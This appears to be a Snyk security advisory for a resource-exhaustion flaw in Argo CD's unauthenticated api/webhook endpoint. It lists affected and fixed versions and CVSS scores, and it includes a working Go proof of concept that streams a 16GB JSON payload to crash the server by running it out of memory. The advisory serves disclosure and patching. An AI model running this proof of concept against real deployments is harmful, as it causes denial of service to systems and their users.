Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting github.com/argoproj/argo-cd/v2/util/settings package, versions <2.9.20 >=2.10.0 <2.10.15 >=2.11.0 <2.11.6


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMARGOPROJARGOCDV2UTILSETTINGS-7547444
  • published 23 Jul 2024
  • disclosed 22 Jul 2024
  • credit Jakub Ciolek

How to fix?

Upgrade github.com/argoproj/argo-cd/v2/util/settings to version 2.9.20, 2.10.15, 2.11.6 or higher.

Overview

github.com/argoproj/argo-cd/v2/util/settings is a Declarative continuous deployment for Kubernetes.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the api/webhook endpoint. An attacker can disrupt service availability by sending a specially crafted large JSON payload that triggers excessive memory allocation, leading to an Out of Memory (OOM) kill.

Note:

The api/webhook endpoint does not require authentication by default.

PoC

Port-forward to the argocd-server service:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import ( "crypto/tls" "io" "net/http" )

// Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated }

// Read generates the next chunk of the dummy JSON payload. func (r *DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating }

start := false
if r.read == 0 {
    // Start of JSON
    p[0] = &#39;{&#39;
    p[1] = &#39;&quot;&#39;
    p[2] = &#39;d&#39;
    p[3] = &#39;a&#39;
    p[4] = &#39;t&#39;
    p[5] = &#39;a&#39;
    p[6] = &#39;&quot;&#39;
    p[7] = &#39;:&#39;
    p[8] = &#39;&quot;&#39;
    n = 9
    start = true
}

for i := n; i &lt; len(p); i++ {
    if r.read+int64(i)-int64(n)+1 == r.size-1 {
        // End of JSON
        p[i] = &#39;&quot;&#39;
        p[i+1] = &#39;}&#39;
        r.read += int64(i) + 2 - int64(n)
        return i + 2 - n, nil
    } else {
        p[i] = &#39;x&#39; // Dummy data
    }
}

r.read += int64(len(p)) - int64(n)
if start {
    return len(p), nil
}
return len(p) - n, nil

}

func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB reader := &DummyJSONReader{size: payloadSize}

// HTTP client setup
httpClient := &amp;http.Client{
    Timeout: 0, // No timeout
    Transport: &amp;http.Transport{
        TLSClientConfig: &amp;tls.Config{InsecureSkipVerify: true},
    },
}

req, err := http.NewRequest(&quot;POST&quot;, &quot;https://localhost:8080/api/webhook&quot;, reader)
if err != nil {
    panic(err)
}

// Set headers
req.Header.Set(&quot;Content-Type&quot;, &quot;application/json&quot;)
req.Header.Set(&quot;X-GitHub-Event&quot;, &quot;push&quot;)

resp, err := httpClient.Do(req)
if err != nil {
    panic(err)
}
defer resp.Body.Close()

println(&quot;Response status code:&quot;, resp.StatusCode)

}

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
8.7 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    None
  • Integrity (VI)
    None
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None